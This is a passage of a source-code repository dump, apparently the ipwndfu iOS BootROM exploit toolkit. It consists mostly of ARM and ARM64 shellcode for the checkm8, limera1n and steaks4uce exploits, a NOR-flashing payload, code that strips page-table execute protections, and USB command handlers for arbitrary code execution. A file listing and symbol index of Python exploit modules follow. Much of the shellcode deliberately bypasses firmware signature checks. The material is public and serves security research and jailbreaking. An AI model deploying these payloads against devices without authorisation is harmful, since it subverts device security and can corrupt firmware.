LDR R3, [R1,#0x4]
STR R2, [R0]
STR R3, [R0,#0x4]
LDR R2, [R1,#0x8]
LDR R3, [R1,#0xC]
STR R2, [R0,#0x8]
STR R3, [R0,#0xC]
LDR R0, =gUSBSerialNumber
LDR R1, =usb_create_string_descriptor
LDR R4, =gUSBSRNMStringDescriptor
BLX R1
STRB R0, [R4]
LDR R0, =PAYLOAD_DEST
ADR R1, _main
LDR R2, =PAYLOAD_OFFSET
ADD R1, R1, R2
MOV R2, #0
LDR R3, =PAYLOAD_SIZE
LDR R4, =PAYLOAD_PTR
ADD R5, R0, #0x9
STR R5, [R4]
copy_loop:
LDRD R4, R5, [R1]
STRD R4, R5, [R0]
LDRD R4, R5, [R1,#0x8]
STRD R4, R5, [R0,#0x8]
LDRD R4, R5, [R1,#0x10]
STRD R4, R5, [R0,#0x10]
LDRD R4, R5, [R1,#0x18]
STRD R4, R5, [R0,#0x18]
LDRD R4, R5, [R1,#0x20]
STRD R4, R5, [R0,#0x20]
LDRD R4, R5, [R1,#0x28]
STRD R4, R5, [R0,#0x28]
LDRD R4, R5, [R1,#0x30]
STRD R4, R5, [R0,#0x30]
LDRD R4, R5, [R1,#0x38]
STRD R4, R5, [R0,#0x38]
MCR p15, 0, R0,c7,c14, 1
DMB SY
ADD R0, R0, #0x40
ADD R1, R1, #0x40
ADD R2, R2, #0x40
CMP R2, R3
BCC copy_loop
MOV R0, #0
MCR p15, 0, R0, c7, c5, 0
DSB
ISB
POP {R4-R7,PC}
USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0
PWND_STRING:
.asciz " PWND:[checkm8]"
================================================
FILE: src/ibss-flash-nor-shellcode.S
================================================
@ ibss-flash-nor-shellcode.S
@ Author: axi0mX
@ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS
@ Parts flashed: 0x0-0x200, 0x8000-0xF3000
.text
.pool
.set reboot_cmd, 0x84000cdd
.set set_bgcolor, 0x8400c6ed
.set apply_bgcolor, 0x8400c789
.set get_block_device, 0x84012c61
.set gNor0String, 0x84014754
.set NOR_PAYLOAD_BASE, 0x41000080
.set NOR_WRITE_1_OFFSET, 0
.set NOR_WRITE_1_SIZE, 0x200
.set NOR_WRITE_2_OFFSET, 0x8000
.set NOR_WRITE_2_SIZE, 0x78000
.set NOR_WRITE_3_OFFSET, 0x80000
.set NOR_WRITE_3_SIZE, 0x73000
.global _start
_start:
.code 16
MOV R0, #0
MOV R1, #160
MOV R2, #0
LDR R3, =set_bgcolor
BLX R3 @ set_bgcolor(0, 160, 0)
LDR R3, =apply_bgcolor
BLX R3 @ apply_bgcolor()
LDR R0, =NOR_WRITE_1_OFFSET
LDR R1, =NOR_WRITE_1_SIZE
BL flash_nor @ flash_nor(NOR_WRITE_1_OFFSET, NOR_WRITE_1_SIZE)
LDR R0, =NOR_WRITE_2_OFFSET
LDR R1, =NOR_WRITE_2_SIZE
BL flash_nor @ flash_nor(NOR_WRITE_2_OFFSET, NOR_WRITE_2_SIZE)
LDR R0, =NOR_WRITE_3_OFFSET
LDR R1, =NOR_WRITE_3_SIZE
BL flash_nor @ flash_nor(NOR_WRITE_3_OFFSET, NOR_WRITE_3_SIZE)
LDR R3, =reboot_cmd
BLX R3 @ reboot_cmd()
/* reboot_cmd should never return */
B spin @ goto spin
flash_nor: @ void flash_nor(R0=offset, R1=size)
PUSH {R4-R5, LR}
MOV R4, R0 @ R4 = R0
MOV R5, R1 @ R5 = R1
LDR R0, =gNor0String
LDR R3, =get_block_device
BLX R3 @ R0 = get_block_device(gNor0String)
CBZ R0, fail @ if (R0 == 0) goto fail
LDR R1, =NOR_PAYLOAD_BASE
ADD R1, R1, R4
MOV R2, R4
MOV R3, #0
STR R5, [SP]
LDR R4, [R0, #0x24]
BLX R4 @ R0 = R0[9](R0, NOR_PAYLOAD_BASE + R4, R4, 0, R5)
CMP R0, R5
BNE fail @ if (R0 != R5) goto fail
POP {R4-R5, PC} @ return
fail:
MOV R0, #255
MOV R1, #0
MOV R2, #0
LDR R3, =set_bgcolor
BLX R3 @ set_bgcolor(255, 0, 0)
LDR R3, =apply_bgcolor
BLX R3 @ apply_bgcolor()
spin:
B spin @ while (1)
================================================
FILE: src/limera1n-shellcode.S
================================================
@ limera1n-shellcode.S
@ Author: axi0mX
@ Shellcode for limera1n exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[limera1n] in USB serial number string
.text
.pool
.set free, 0xBAD0000d
.set memz_create, 0xBAD0000f
.set memz_destroy, 0xBAD00011
.set image3_create_struct, 0xBAD00014
.set image3_load_continue, 0xBAD00015
.set image3_load_fail, 0xBAD00016
.set usb_wait_for_image, 0xBAD00009
.set jump_to, 0xBAD00010
.set nor_power_on, 0xBAD00005
.set nor_init, 0xBAD00006
.set memmove, 0xBAD00003
.set strlcat, 0xBAD00008
.set gLeakingDFUBuffer, 0xBAD0000c
.set gUSBSerialNumber, 0xBAD00007
.set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00001
.set RELOCATE_SHELLCODE_SIZE, 0xBAD00002
.set MAIN_STACK_ADDRESS, 0xBAD00004
.set LOAD_ADDRESS, 0xBAD0000a
.set MAX_SIZE, 0xBAD0000b
.set EXEC_MAGIC, 0xBAD0000e
.set IMAGE3_LOAD_SP_OFFSET, 0xBAD00012
.set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00013
.global _start
_start:
.code 16
B relocate_shellcode @ goto relocate_shellcode
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
relocate_shellcode:
MOV R1, PC
SUB R1, R1, #4 @ R1 = PC - 4
LDR R0, =RELOCATE_SHELLCODE_ADDRESS
CMP R0, R1
BEQ pwned_dfu_start @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start
LDR R2, =RELOCATE_SHELLCODE_SIZE
LDR R3, =memmove
BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)
LDR R3, =RELOCATE_SHELLCODE_ADDRESS
ADD R3, R3, #1
BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)
pwned_dfu_start:
LDR R0, =MAIN_STACK_ADDRESS
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS
MOV R0, #1
MOV R1, #1
MOV R2, #0
LDR R3, =nor_power_on
BLX R3 @ nor_power_on(1, 1, 0)
MOV R0, #0
LDR R3, =nor_init
BLX R3 @ nor_init(0)
LDR R0, =gUSBSerialNumber
ADR R1, PWND_STRING
MOV R2, #120
LDR R3, =strlcat
BLX R3 @ strlcat(gUSBSerialNumber, PWND_STRING, 120)
pwned_dfu_loop:
LDR R3, =usb_wait_for_image
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
MOV R4, R0 @ R4 = R0
LDR R1, =gLeakingDFUBuffer
LDR R0, [R1] @ R0 = gLeakingDFUBuffer
MOV R2, #0
STR R2, [R1] @ gLeakingDFUBuffer = 0
LDR R3, =free
BLX R3 @ free(R0)
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18]
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R1, #0
STR R1, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_not_exec_magic:
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0)
CMP R0, #0
BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */
LDR R3, =LOAD_ADDRESS
STR R3, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R4, R0 @ R4 = R0
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, load_failed @ if (R0 != 0) goto load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR)
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6} @ push_registers(R8, R10, R11)
ADD R7, SP, #0x18 @ R7 = SP - 0x18
LDR R4, =IMAGE3_LOAD_SP_OFFSET
MOV R5, SP
SUB R5, R5, R4
MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET
MOV R3, #0
LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
ADD R4, R5, R4
STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0
STR R2, [SP, #0x10] @ SP[4] = R2
STR R1, [SP, #0x14] @ SP[5] = R1
STR R3, [SP, #0x18] @ SP[6] = 0
LDR R6, [R1] @ R6 = *R1
MOV R10, R1 @ R10 = R1
MOV R11, R3 @ R11 = 0
LDR R1, =MAX_SIZE
MOV R8, R1 @ R8 = MAX_SIZE
LDR R2, [R0, #4]
CMP R2, R1
BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail
MOV R8, R2 @ R8 = R0[1]
MOV R0, R4
MOV R1, R6
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)
LDR R3, =image3_load_continue @ R3 = image3_load_continue
CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3
img3_fail:
MOV R4, #1 @ R4 = 1
LDR R3, =image3_load_fail @ R3 = image3_load_fail
img3_branch_R3:
BX R3 @ goto R3
.align 2
PWND_STRING:
.ascii " PWND:[limera1n]\x00"
================================================
FILE: src/steaks4uce-shellcode.S
================================================
@ steaks4uce-shellcode.S
@ Author: axi0mX
@ Shellcode for steaks4uce exploit with minor improvements:
@ * reports PWND:[steaks4uce] in USB serial number string
.text
.pool
.set clean_data_cache, 0xBAD0000a
.set invalidate_instruction_cache, 0xBAD00006
.set usb_shutdown, 0xBAD00005
.set free, 0xBAD00011
.set memz_create, 0xBAD00013
.set memz_destroy, 0xBAD00015
.set image3_create_struct, 0xBAD00018
.set image3_load_continue, 0xBAD00019
.set image3_load_fail, 0xBAD0001a
.set usb_wait_for_image, 0xBAD0000d
.set jump_to, 0xBAD00014
.set nor_power_on, 0xBAD00002
.set nor_init, 0xBAD00003
.set usb_destroy, 0xBAD00004
.set memmove, 0xBAD00009
.set strlcat, 0xBAD0000c
.set gLeakingDFUBuffer, 0xBAD00010
.set gVersionString, 0xBAD0000b
.set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00007
.set RELOCATE_SHELLCODE_SIZE, 0xBAD00008
.set MAIN_STACK_ADDRESS, 0xBAD00001
.set LOAD_ADDRESS, 0xBAD0000e
.set MAX_SIZE, 0xBAD0000f
.set EXEC_MAGIC, 0xBAD00012
.set IMAGE3_LOAD_SP_OFFSET, 0xBAD00016
.set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00017
.global _start
.code 16
_start:
B pwned_dfu_start @ goto pwned_dfu_start
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
pwned_dfu_start:
LDR R0, =MAIN_STACK_ADDRESS
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS
MOV R0, #1
MOV R1, #1
MOV R2, #0
LDR R3, =nor_power_on
BLX R3 @ nor_power_on(1, 1, 0)
MOV R0, #0
LDR R3, =nor_init
BLX R3 @ nor_init(0)
LDR R3, =usb_destroy
BLX R3 @ usb_destroy()
LDR R3, =usb_shutdown
BLX R3 @ usb_shutdown()
LDR R3, =invalidate_instruction_cache
BLX R3 @ invalidate_instruction_cache()
relocate_shellcode:
MOV R1, PC
SUB R1, R1, #4 @ R1 = PC - 4
LDR R0, =RELOCATE_SHELLCODE_ADDRESS
CMP R0, R1
BEQ pwned_dfu_loop @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop
LDR R2, =RELOCATE_SHELLCODE_SIZE
LDR R3, =memmove
BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)
LDR R3, =RELOCATE_SHELLCODE_ADDRESS
ADD R3, R3, #1
BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)
pwned_dfu_loop:
LDR R3, =clean_data_cache
BLX R3 @ clean_data_cache()
LDR R0, =gVersionString
ADR R1, PWND_STRING
MOV R2, #40
LDR R3, =strlcat /* TODO: do this in a more reasonable way */
BLX R3 @ strlcat(gVersionString, PWND_STRING, 40)
LDR R3, =usb_wait_for_image
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
MOV R4, R0 @ R4 = R0
LDR R1, =gLeakingDFUBuffer
LDR R0, [R1] @ R0 = gLeakingDFUBuffer
MOV R2, #0
STR R2, [R1] @ gLeakingDFUBuffer = 0
LDR R3, =free
BLX R3 @ free(R0)
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18]
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R1, #0
STR R1, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_not_exec_magic:
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0)
CMP R0, #0
BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */
LDR R3, =LOAD_ADDRESS
STR R3, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R4, R0 @ R4 = R0
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CMP R0, #0
BNE load_failed @ if (R0 != 0) goto load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR)
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6} @ push_registers(R8, R10, R11)
ADD R7, SP, #0x18 @ R7 = SP - 0x18
LDR R4, =IMAGE3_LOAD_SP_OFFSET
MOV R5, SP
SUB R5, R5, R4
MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET
MOV R3, #0
LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
ADD R4, R5, R4
STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0
STR R2, [SP, #0x10] @ SP[4] = R2
STR R1, [SP, #0x14] @ SP[5] = R1
STR R3, [SP, #0x18] @ SP[6] = 0
LDR R6, [R1] @ R6 = *R1
MOV R10, R1 @ R10 = R1
MOV R11, R3 @ R11 = 0
LDR R1, =MAX_SIZE
MOV R8, R1 @ R8 = MAX_SIZE
LDR R2, [R0, #4]
CMP R2, R1
BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail
MOV R8, R2 @ R8 = R0[1]
MOV R0, R4
MOV R1, R6
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)
LDR R3, =image3_load_continue @ R3 = image3_load_continue
CMP R4, #0
BEQ img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3
img3_fail:
MOV R4, #1 @ R4 = 1
LDR R3, =image3_load_fail @ R3 = image3_load_fail
img3_branch_R3:
BX R3 @ goto R3
.align 2
PWND_STRING:
.ascii "] PWND:[steaks4uce\x00"
================================================
FILE: src/t8010_t8011_disable_wxn_arm64.S
================================================
.text
.align 2
.globl _main
_main:
# Copy the real pagetable first
MOV X1, #0x180000000
ADD X2, X1, #0xA8000
ADD X1, X1, #0xA0000
MOV X0, 0
cpy:
LDR X3, [X1,X0]
STR X3, [X2,X0]
ADD X0, X0, #8
CMP X0, #0x1000
B.LE cpy
# Patch our copy
MOV X1, #0x180000000
ADD X2, X1, #0xA8000
ADD X1, X1, #0x625
STR X1, [X2,#0x600]
DMB SY
# And now the real one
MOV X2, #0x180000000
ADD X2, X2, #0xA0000
MOV X0, 0
loop:
LDR X1, [X2,X0]
BIC X1, X1, #0x80
BIC X1, X1, #0x0040000000000000
BIC X1, X1, #0x0020000000000000
STR X1, [X2,X0]
DMB SY
ADD X0, X0, #8
CMP X0, 0x600
B.LE loop
MOV X0, #0x100D
MSR SCTLR_EL1, X0
DSB SY
ISB
RET
================================================
FILE: src/usb_0xA1_2_arm64.S
================================================
.text
.pool
.set USB_CORE_DO_IO, 0xBAD00006
.set LOAD_ADDRESS, 0xBAD00001
.set EXEC_MAGIC, 0xBAD00002
.set MEMC_MAGIC, 0xBAD00004
.set MEMS_MAGIC, 0xBAD00005
.set DONE_MAGIC, 0xBAD00003
.global _main
_main:
jump_back:
BRK #1
BRK #1
LDRH W2, [X0]
CMP W2, #0x2A1
BNE jump_back
STP X29, X30, [SP,#-0x10]!
MOV X29, SP
STP X20, X19, [SP,#-0x10]!
MOV X19, X0
LDR X20, =LOAD_ADDRESS
MOV W1, #0xFFFF
LDRH W2, [X19,#2]
CMP W1, W2
BNE request_done
LDR X0, [X20] ; X0 = LOAD_ADDRESS[0]
LDR X1, =EXEC_MAGIC
CMP X0, X1
BNE not_exec ; if (X0 != EXEC_MAGIC) goto not_exec
STR XZR, [X20] ; LOAD_ADDRESS[0] = 0
LDR X0, [X20, #0x10] ; X0 = LOAD_ADDRESS[2] /* arg1 */
LDR X1, [X20, #0x18] ; X1 = LOAD_ADDRESS[3] /* arg2 */
LDR X2, [X20, #0x20] ; X2 = LOAD_ADDRESS[4] /* arg3 */
LDR X3, [X20, #0x28] ; X3 = LOAD_ADDRESS[5] /* arg4 */
LDR X4, [X20, #0x30] ; X4 = LOAD_ADDRESS[6] /* arg5 */
LDR X5, [X20, #0x38] ; X5 = LOAD_ADDRESS[7] /* arg6 */
LDR X6, [X20, #0x40] ; X6 = LOAD_ADDRESS[8] /* arg7 */
LDR X7, [X20, #0x40] ; X7 = LOAD_ADDRESS[9] /* arg8 */
LDR X8, [X20, #0x8]
BLR X8 ; X0 = LOAD_ADDRESS[1](X0, X1, X2, X3, X4, X5, X6, X7)
LDR X8, =DONE_MAGIC
STP X8, X0, [X20] ; LOAD_ADDRESS[0,1] = DONE_MAGIC, X0
B request_done
not_exec:
LDR X1, =MEMC_MAGIC
CMP X0, X1
BNE not_memc
STR XZR, [X20]
LDP X0, X1, [X20, #0x10]
LDR X2, [X20, #0x20]
BL memcpy
LDR X8, =DONE_MAGIC
STR X8, [X20]
B request_done
not_memc:
LDR X1, =MEMS_MAGIC
CMP X0, X1
BNE request_done
STR XZR, [X20]
LDP X0, X1, [X20, #0x10]
LDR X2, [X20, #0x20]
BL memset
LDR X8, =DONE_MAGIC
STR X8, [X20]
B request_done
request_done:
MOV W0, #0x80
MOV X1, X20
LDRH W2, [X19,#6]
MOV X3, #0
LDR X4, =USB_CORE_DO_IO
BLR X4
MOV W0, #0
LDP X20, X19, [SP],#0x10
LDP X29, X30, [SP],#0x10
RET
memset:
MOV X3, #0x101010101010101
AND X1, X1, #0xFF
MUL X1, X1, X3
MOV X3, X0
memset_8:
CMP X2, #8
B.CC memset_4
STR X1, [X0]
ADD X0, X0, #8
SUB X2, X2, #8
B memset_8
memset_4:
CMP X2, #4
B.CC memset_2
STR W1, [X0]
ADD X0, X0, #4
SUB X2, X2, #4
memset_2:
CMP X2, #2
B.CC memset_1
STR W1, [X0]
ADD X0, X0, #2
SUB X2, X2, #2
memset_1:
CBZ X2, memset_done
STR W1, [X0]
ADD X0, X0, #1
SUB X2, X2, #1
memset_done:
MOV X0, X3
RET
memcpy:
MOV X4, X0
memcpy_8:
CMP X2, #8
B.CC memcpy_4
LDR X3, [X1]
STR X3, [X0]
ADD X0, X0, #8
ADD X1, X1, #8
SUB X2, X2, #8
B memcpy_8
memcpy_4:
CMP X2, #4
B.CC memcpy_2
LDR W3, [X1]
STR W3, [X0]
ADD X0, X0, #4
ADD X1, X1, #4
SUB X2, X2, #4
memcpy_2:
CMP X2, #2
B.CC memcpy_1
LDRH W3, [X1]
STRH W3, [X0]
ADD X0, X0, #2
ADD X1, X1, #2
SUB X2, X2, #2
memcpy_1:
CBZ X2, memcpy_done
LDRB W3, [X1]
STRB W3, [X0]
ADD X0, X0, #1
ADD X1, X1, #1
SUB X2, X2, #1
memcpy_done:
MOV X0, X4
RET
================================================
FILE: src/usb_0xA1_2_armv7.S
================================================
.text
.pool
.set USB_CORE_DO_IO, 0xBAD00006
.set LOAD_ADDRESS, 0xBAD00001
.set EXEC_MAGIC, 0xBAD00002
.set MEMC_MAGIC, 0xBAD00004
.set MEMS_MAGIC, 0xBAD00005
.set DONE_MAGIC, 0xBAD00003
.code 16
.global _main
_main:
jump_back:
BKPT #1
BKPT #1
BKPT #1
BKPT #1
LDRH R2, [R0]
MOVW
gitextract_jeow6lyw/ ├── .gitignore ├── JAILBREAK-GUIDE.md ├── LICENSE ├── Makefile ├── README.md ├── SHAtter.py ├── aes-keys/ │ └── S5L8920-firmware ├── alloc8.py ├── checkm8.py ├── device_platform.py ├── dfu.py ├── dfuexec.py ├── ibootpatcher ├── image3.py ├── image3_24Kpwn.py ├── ipwndfu ├── ipwnrecovery ├── libusbfinder/ │ └── __init__.py ├── limera1n.py ├── nor-backups/ │ └── README ├── nor.py ├── recovery.py ├── rmsigchks.py ├── rmsigchks_t8015.py ├── src/ │ ├── 24Kpwn-shellcode.S │ ├── SHAtter-shellcode.S │ ├── alloc8-shellcode.S │ ├── checkm8_arm64.S │ ├── checkm8_armv7.S │ ├── ibss-flash-nor-shellcode.S │ ├── limera1n-shellcode.S │ ├── steaks4uce-shellcode.S │ ├── t8010_t8011_disable_wxn_arm64.S │ ├── usb_0xA1_2_arm64.S │ └── usb_0xA1_2_armv7.S ├── steaks4uce.py ├── usb/ │ ├── ACKNOWLEDGEMENTS │ ├── LICENSE │ ├── README.rst │ ├── __init__.py │ ├── _debug.py │ ├── _interop.py │ ├── _lookup.py │ ├── _objfinalizer.py │ ├── backend/ │ │ ├── __init__.py │ │ ├── libusb0.py │ │ ├── libusb1.py │ │ └── openusb.py │ ├── control.py │ ├── core.py │ ├── legacy.py │ ├── libloader.py │ └── util.py ├── usbexec.py └── utilities.py
SYMBOL INDEX (468 symbols across 30 files)
FILE: SHAtter.py
function generate_payload (line 6) | def generate_payload():
function exploit (line 16) | def exploit():
FILE: alloc8.py
function empty_img3 (line 59) | def empty_img3(size):
function exploit (line 63) | def exploit(nor, version):
function remove_exploit (line 110) | def remove_exploit(nor):
FILE: checkm8.py
function libusb1_create_ctrl_transfer (line 10) | def libusb1_create_ctrl_transfer(device, request, timeout):
function libusb1_async_ctrl_transfer (line 27) | def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue,...
function libusb1_no_error_ctrl_transfer (line 47) | def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wVal...
function usb_rop_callbacks (line 53) | def usb_rop_callbacks(address, func_gadget, callbacks):
function asm_arm64_branch (line 74) | def asm_arm64_branch(src, dest):
function asm_arm64_x7_trampoline (line 83) | def asm_arm64_x7_trampoline(dest):
function asm_thumb_trampoline (line 88) | def asm_thumb_trampoline(src, dest):
function prepare_shellcode (line 95) | def prepare_shellcode(name, constants=[]):
function stall (line 118) | def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304,...
function leak (line 119) | def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x3...
function no_leak (line 120) | def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x3...
function usb_req_stall (line 122) | def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2...
function usb_req_leak (line 123) | def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80...
function usb_req_no_leak (line 124) | def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80...
class DeviceConfig (line 126) | class DeviceConfig:
method __init__ (line 127) | def __init__(self, version, cpid, large_leak, overwrite, overwrite_off...
function payload (line 142) | def payload(cpid):
function all_exploit_configs (line 429) | def all_exploit_configs():
function exploit_config (line 462) | def exploit_config(serial_number):
function exploit (line 474) | def exploit():
FILE: device_platform.py
class DevicePlatform (line 1) | class DevicePlatform:
method __init__ (line 2) | def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, r...
method name (line 48) | def name(self):
FILE: dfu.py
function acquire_device (line 8) | def acquire_device(timeout=5.0, match=None, fatal=True):
function release_device (line 26) | def release_device(device):
function reset_counters (line 30) | def reset_counters(device):
function usb_reset (line 34) | def usb_reset(device):
function send_data (line 43) | def send_data(device, data):
function get_data (line 51) | def get_data(device, amount):
function request_image_validation (line 62) | def request_image_validation(device):
FILE: dfuexec.py
class PwnedDeviceConfig (line 12) | class PwnedDeviceConfig:
method __init__ (line 13) | def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_d...
class PwnedDFUDevice (line 98) | class PwnedDFUDevice():
method __init__ (line 99) | def __init__(self):
method ecid_string (line 121) | def ecid_string(self):
method execute (line 129) | def execute(self, cmd, receiveLength):
method securerom_dump (line 152) | def securerom_dump(self):
method aes (line 159) | def aes(self, data, action, key):
method aes_hex (line 168) | def aes_hex(self, hexdata, action, key):
method read_memory (line 175) | def read_memory(self, address, length):
method write_memory (line 179) | def write_memory(self, address, data):
method nor_dump (line 183) | def nor_dump(self, saveBackup):
method boot_ibss (line 213) | def boot_ibss(self):
method flash_nor (line 269) | def flash_nor(self, nor):
method decrypt_keybag (line 290) | def decrypt_keybag(self, keybag):
FILE: image3.py
class Image3 (line 4) | class Image3:
method __init__ (line 5) | def __init__(self, data):
method createImage3FromTags (line 17) | def createImage3FromTags(type, tags):
method getTags (line 36) | def getTags(self, magic):
method getKeybag (line 43) | def getKeybag(self):
method getPayload (line 51) | def getPayload(self):
method getDecryptedPayload (line 56) | def getDecryptedPayload(self):
method shrink24KpwnCertificate (line 62) | def shrink24KpwnCertificate(self):
method newImage3 (line 72) | def newImage3(self, decrypted=True):
FILE: image3_24Kpwn.py
function exploit (line 6) | def exploit(img3, securerom):
function remove_exploit (line 30) | def remove_exploit(img3):
FILE: libusbfinder/__init__.py
class VersionConfig (line 3) | class VersionConfig:
method __init__ (line 4) | def __init__(self, version, bottle, bottle_sha256, dylib_patches, dyli...
function apply_patches (line 61) | def apply_patches(binary, patches):
function libusb1_path_internal (line 66) | def libusb1_path_internal():
function libusb1_path (line 112) | def libusb1_path():
FILE: limera1n.py
class DeviceConfig (line 111) | class DeviceConfig:
